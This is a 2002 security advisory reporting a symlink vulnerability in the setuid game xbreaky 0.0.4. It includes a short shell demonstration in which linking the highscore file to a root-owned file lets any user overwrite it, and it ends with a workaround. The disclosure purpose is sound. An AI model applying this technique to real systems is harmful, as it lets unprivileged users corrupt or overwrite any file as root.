xbreaky symlink vulnerability

[m.v.berkum () obit nl (Marco van Berkum)]

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Title:             xbreaky 0.0.4 symlink vulnerability
Author:            Marco van Berkum
Classification:    High risk
Date:              10/09/2002
Email:             m.v.berkum () obit nl
Company:           OBIT
Company site:      http://www.obit.nl
Personal website:  http://ws.obit.nl
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About xbreaky
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xbreaky is a breakout game for X written by Dave Brul which can be downloaded
from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,
NetBSD tree and possibly others.

Problem
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By default xbreaky is installed as suid and can be abused to overwrite any file
on the filesystem, by any user.

Exploit
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xbreaky uses $HOME/.breakyhighscores to write the highscores to, when
$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply
overwrites it as root user.

Example
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root@animal:/home/marco# echo "bla" >rootfile
root@animal:/home/marco# chmod 600 rootfile
root@animal:/home/marco# exit
logout
marco@animal:~$ ln -s rootfile .breakyhighscores
marco@animal:~$ xbreaky

Now I play a game and set highscore as user "lol", then I exit the game.
Its a nice game btw :)

marco@animal:~$ cat rootfile
cat: rootfile: Permission denied
marco@animal:~$ su -
Password:
root@animal:~# cat /home/marco/rootfile
lol <- voila, our highscore user

Workaround
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Remove suidbit.

Author
------
The author has been notified.

Credits
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Thanks to Dennis Oelkers for testing.

--
find / -user your -name base -exec chown us:us {}\;
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|    Marco van Berkum / MB17300-RIPE     |
| m.v.berkum () obit nl / http://ws.obit.nl |
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